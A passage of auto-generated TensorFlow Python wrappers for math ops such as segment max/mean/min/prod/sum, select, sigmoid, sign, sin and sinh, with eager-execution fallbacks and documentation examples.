result = _dispatch.dispatch(
segment_max, (), dict(data=data, segment_ids=segment_ids,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SegmentMax", data=data, segment_ids=segment_ids, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
segment_max, (), dict(data=data, segment_ids=segment_ids, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tindices",
_op._get_attr_type("Tindices"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SegmentMax", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SegmentMax = tf_export("raw_ops.SegmentMax")(_ops.to_raw_op(segment_max))
def segment_max_eager_fallback(data, segment_ids, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tindices, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ])
_inputs_flat = [data, segment_ids]
_attrs = ("T", _attr_T, "Tindices", _attr_Tindices)
_result = _execute.execute(b"SegmentMax", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SegmentMax", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.segment_mean', v1=['math.segment_mean', 'segment_mean'])
@deprecated_endpoints('segment_mean')
def segment_mean(data, segment_ids, name=None):
r"""Computes the mean along segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
Computes a tensor such that
\\(output_i = \frac{\sum_j data_j}{N}\\) where `mean` is
over `j` such that `segment_ids[j] == i` and `N` is the total number of
values summed.
If the mean is empty for a given segment ID `i`, `output[i] = 0`.
<div style="width:70%; margin:auto; margin-bottom:10px; margin-top:20px;">
<img style="width:100%" src="https://www.tensorflow.org/images/SegmentMean.png" alt>
</div>
For example:
```
c = tf.constant([[1.0,2,3,4], [4, 3, 2, 1], [5,6,7,8]])
tf.segment_mean(c, tf.constant([0, 0, 1]))
# ==> [[2.5, 2.5, 2.5, 2.5],
# [5, 6, 7, 8]]
```
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor whose size is equal to the size of `data`'s
first dimension. Values should be sorted and can be repeated.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SegmentMean", name, data, segment_ids)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return segment_mean_eager_fallback(
data, segment_ids, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
segment_mean, (), dict(data=data, segment_ids=segment_ids,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SegmentMean", data=data, segment_ids=segment_ids, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
segment_mean, (), dict(data=data, segment_ids=segment_ids,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tindices",
_op._get_attr_type("Tindices"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SegmentMean", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SegmentMean = tf_export("raw_ops.SegmentMean")(_ops.to_raw_op(segment_mean))
def segment_mean_eager_fallback(data, segment_ids, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tindices, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ])
_inputs_flat = [data, segment_ids]
_attrs = ("T", _attr_T, "Tindices", _attr_Tindices)
_result = _execute.execute(b"SegmentMean", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SegmentMean", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.segment_min', v1=['math.segment_min', 'segment_min'])
@deprecated_endpoints('segment_min')
def segment_min(data, segment_ids, name=None):
r"""Computes the minimum along segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
Computes a tensor such that
\\(output_i = \min_j(data_j)\\) where `min` is over `j` such
that `segment_ids[j] == i`.
If the min is empty for a given segment ID `i`, `output[i] = 0`.
<div style="width:70%; margin:auto; margin-bottom:10px; margin-top:20px;">
<img style="width:100%" src="https://www.tensorflow.org/images/SegmentMin.png" alt>
</div>
For example:
```
c = tf.constant([[1,2,3,4], [4, 3, 2, 1], [5,6,7,8]])
tf.segment_min(c, tf.constant([0, 0, 1]))
# ==> [[1, 2, 2, 1],
# [5, 6, 7, 8]]
```
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor whose size is equal to the size of `data`'s
first dimension. Values should be sorted and can be repeated.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SegmentMin", name, data, segment_ids)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return segment_min_eager_fallback(
data, segment_ids, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
segment_min, (), dict(data=data, segment_ids=segment_ids,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SegmentMin", data=data, segment_ids=segment_ids, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
segment_min, (), dict(data=data, segment_ids=segment_ids, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tindices",
_op._get_attr_type("Tindices"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SegmentMin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SegmentMin = tf_export("raw_ops.SegmentMin")(_ops.to_raw_op(segment_min))
def segment_min_eager_fallback(data, segment_ids, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.int64, _dtypes.bfloat16, _dtypes.uint16, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tindices, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ])
_inputs_flat = [data, segment_ids]
_attrs = ("T", _attr_T, "Tindices", _attr_Tindices)
_result = _execute.execute(b"SegmentMin", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SegmentMin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.segment_prod', v1=['math.segment_prod', 'segment_prod'])
@deprecated_endpoints('segment_prod')
def segment_prod(data, segment_ids, name=None):
r"""Computes the product along segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
Computes a tensor such that
\\(output_i = \prod_j data_j\\) where the product is over `j` such
that `segment_ids[j] == i`.
If the product is empty for a given segment ID `i`, `output[i] = 1`.
<div style="width:70%; margin:auto; margin-bottom:10px; margin-top:20px;">
<img style="width:100%" src="https://www.tensorflow.org/images/SegmentProd.png" alt>
</div>
For example:
```
c = tf.constant([[1,2,3,4], [4, 3, 2, 1], [5,6,7,8]])
tf.segment_prod(c, tf.constant([0, 0, 1]))
# ==> [[4, 6, 6, 4],
# [5, 6, 7, 8]]
```
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor whose size is equal to the size of `data`'s
first dimension. Values should be sorted and can be repeated.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SegmentProd", name, data, segment_ids)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return segment_prod_eager_fallback(
data, segment_ids, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
segment_prod, (), dict(data=data, segment_ids=segment_ids,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SegmentProd", data=data, segment_ids=segment_ids, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
segment_prod, (), dict(data=data, segment_ids=segment_ids,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tindices",
_op._get_attr_type("Tindices"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SegmentProd", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SegmentProd = tf_export("raw_ops.SegmentProd")(_ops.to_raw_op(segment_prod))
def segment_prod_eager_fallback(data, segment_ids, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tindices, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ])
_inputs_flat = [data, segment_ids]
_attrs = ("T", _attr_T, "Tindices", _attr_Tindices)
_result = _execute.execute(b"SegmentProd", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SegmentProd", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.segment_sum', v1=['math.segment_sum', 'segment_sum'])
@deprecated_endpoints('segment_sum')
def segment_sum(data, segment_ids, name=None):
r"""Computes the sum along segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
Computes a tensor such that
\\(output_i = \sum_j data_j\\) where sum is over `j` such
that `segment_ids[j] == i`.
If the sum is empty for a given segment ID `i`, `output[i] = 0`.
<div style="width:70%; margin:auto; margin-bottom:10px; margin-top:20px;">
<img style="width:100%" src="https://www.tensorflow.org/images/SegmentSum.png" alt>
</div>
For example:
```
c = tf.constant([[1,2,3,4], [4, 3, 2, 1], [5,6,7,8]])
tf.segment_sum(c, tf.constant([0, 0, 1]))
# ==> [[5, 5, 5, 5],
# [5, 6, 7, 8]]
```
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `complex64`, `int64`, `qint8`, `quint8`, `qint32`, `bfloat16`, `uint16`, `complex128`, `half`, `uint32`, `uint64`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor whose size is equal to the size of `data`'s
first dimension. Values should be sorted and can be repeated.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SegmentSum", name, data, segment_ids)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return segment_sum_eager_fallback(
data, segment_ids, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
segment_sum, (), dict(data=data, segment_ids=segment_ids,
name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SegmentSum", data=data, segment_ids=segment_ids, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
segment_sum, (), dict(data=data, segment_ids=segment_ids, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tindices",
_op._get_attr_type("Tindices"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SegmentSum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SegmentSum = tf_export("raw_ops.SegmentSum")(_ops.to_raw_op(segment_sum))
def segment_sum_eager_fallback(data, segment_ids, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.uint8, _dtypes.int16, _dtypes.int8, _dtypes.complex64, _dtypes.int64, _dtypes.qint8, _dtypes.quint8, _dtypes.qint32, _dtypes.bfloat16, _dtypes.uint16, _dtypes.complex128, _dtypes.half, _dtypes.uint32, _dtypes.uint64, ])
_attr_Tindices, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ])
_inputs_flat = [data, segment_ids]
_attrs = ("T", _attr_T, "Tindices", _attr_Tindices)
_result = _execute.execute(b"SegmentSum", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SegmentSum", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def select(condition, x, y, name=None):
r"""Selects elements from `x` or `y`, depending on `condition`.
The `x`, and `y` tensors must all have the same shape, and the
output will also have that shape.
The `condition` tensor must be a scalar if `x` and `y` are scalars.
If `x` and `y` are vectors or higher rank, then `condition` must be either a
scalar, a vector with size matching the first dimension of `x`, or must have
the same shape as `x`.
The `condition` tensor acts as a mask that chooses, based on the value at each
element, whether the corresponding element / row in the output should be
taken from `x` (if true) or `y` (if false).
If `condition` is a vector and `x` and `y` are higher rank matrices, then
it chooses which row (outer dimension) to copy from `x` and `y`.
If `condition` has the same shape as `x` and `y`, then it chooses which
element to copy from `x` and `y`.
For example:
```python
# 'condition' tensor is [[True, False]
# [False, True]]
# 't' is [[1, 2],
# [3, 4]]
# 'e' is [[5, 6],
# [7, 8]]
select(condition, t, e) # => [[1, 6], [7, 4]]
# 'condition' tensor is [True, False]
# 't' is [[1, 2],
# [3, 4]]
# 'e' is [[5, 6],
# [7, 8]]
select(condition, t, e) ==> [[1, 2],
[7, 8]]
```
Args:
condition: A `Tensor` of type `bool`.
x: A `Tensor` which may have the same shape as `condition`.
If `condition` is rank 1, `x` may have higher rank,
but its first dimension must match the size of `condition`.
y: A `Tensor` with the same type and shape as `x`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `t`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Select", name, condition, x, y)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return select_eager_fallback(
condition, x, y, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Select", condition=condition, t=x, e=y, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Select", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Select = tf_export("raw_ops.Select")(_ops.to_raw_op(select))
def select_eager_fallback(condition, x, y, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([x, y], ctx, [])
(x, y) = _inputs_T
condition = _ops.convert_to_tensor(condition, _dtypes.bool)
_inputs_flat = [condition, x, y]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Select", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Select", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def select_v2(condition, t, e, name=None):
r"""TODO: add doc.
Args:
condition: A `Tensor` of type `bool`.
t: A `Tensor`.
e: A `Tensor`. Must have the same type as `t`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `t`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SelectV2", name, condition, t, e)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return select_v2_eager_fallback(
condition, t, e, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SelectV2", condition=condition, t=t, e=e, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SelectV2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SelectV2 = tf_export("raw_ops.SelectV2")(_ops.to_raw_op(select_v2))
def select_v2_eager_fallback(condition, t, e, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([t, e], ctx, [])
(t, e) = _inputs_T
condition = _ops.convert_to_tensor(condition, _dtypes.bool)
_inputs_flat = [condition, t, e]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"SelectV2", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SelectV2", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sigmoid(x, name=None):
r"""Computes sigmoid of `x` element-wise.
Specifically, `y = 1 / (1 + exp(-x))`.
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Sigmoid", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sigmoid_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Sigmoid", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Sigmoid", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Sigmoid = tf_export("raw_ops.Sigmoid")(_ops.to_raw_op(sigmoid))
def sigmoid_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Sigmoid", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Sigmoid", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sigmoid_grad(y, dy, name=None):
r"""Computes the gradient of the sigmoid of `x` wrt its input.
Specifically, `grad = dy * y * (1 - y)`, where `y = sigmoid(x)`, and
`dy` is the corresponding input gradient.
Args:
y: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
dy: A `Tensor`. Must have the same type as `y`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `y`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SigmoidGrad", name, y, dy)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sigmoid_grad_eager_fallback(
y, dy, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SigmoidGrad", y=y, dy=dy, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SigmoidGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SigmoidGrad = tf_export("raw_ops.SigmoidGrad")(_ops.to_raw_op(sigmoid_grad))
def sigmoid_grad_eager_fallback(y, dy, name, ctx):
_attr_T, _inputs_T = _execute.args_to_matching_eager([y, dy], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
(y, dy) = _inputs_T
_inputs_flat = [y, dy]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"SigmoidGrad", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SigmoidGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sign(x, name=None):
r"""Returns an element-wise indication of the sign of a number.
`y = sign(x) = -1` if `x < 0`; 0 if `x == 0`; 1 if `x > 0`.
For complex numbers, `y = sign(x) = x / |x|` if `x != 0`, otherwise `y = 0`.
Example usage:
>>> tf.math.sign([0., 2., -3.])
<tf.Tensor: shape=(3,), dtype=float32, numpy=array([ 0., 1., -1.], dtype=float32)>
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `int32`, `int64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Sign", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sign_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Sign", x=x, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Sign", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Sign = tf_export("raw_ops.Sign")(_ops.to_raw_op(sign))
def sign_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.int32, _dtypes.int64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Sign", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Sign", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.sin', 'sin')
def sin(x, name=None):
r"""Computes sine of x element-wise.
Given an input tensor, this function computes sine of every
element in the tensor. Input range is `(-inf, inf)` and
output range is `[-1,1]`.
```python
x = tf.constant([-float("inf"), -9, -0.5, 1, 1.2, 200, 10, float("inf")])
tf.math.sin(x) ==> [nan -0.4121185 -0.47942555 0.84147096 0.9320391 -0.87329733 -0.54402107 nan]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Sin", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sin_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
sin, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Sin", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
sin, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Sin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
Sin = tf_export("raw_ops.Sin")(_ops.to_raw_op(sin))
def sin_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Sin", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Sin", _inputs_flat, _attrs, _result)
_result, = _result
return _result
@_dispatch.add_dispatch_list
@tf_export('math.sinh', 'sinh')
def sinh(x, name=None):
r"""Computes hyperbolic sine of x element-wise.
Given an input tensor, this function computes hyperbolic sine of every
element in the tensor. Input range is `[-inf,inf]` and output range
is `[-inf,inf]`.
```python
x = tf.constant([-float("inf"), -9, -0.5, 1, 1.2, 2, 10, float("inf")])
tf.math.sinh(x) ==> [-inf -4.0515420e+03 -5.2109528e-01 1.1752012e+00 1.5094614e+00 3.6268604e+00 1.1013232e+04 inf]
```
Args:
x: A `Tensor`. Must be one of the following types: `bfloat16`, `half`, `float32`, `float64`, `complex64`, `complex128`.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `x`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "Sinh", name, x)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sinh_eager_fallback(
x, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
result = _dispatch.dispatch(
sinh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
# Add nodes to the TensorFlow graph.
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"Sinh", x=x, name=name)
except (TypeError, ValueError):
result = _dispatch.dispatch(
sinh, (), dict(x=x, name=name)
)
if result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"Sinh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
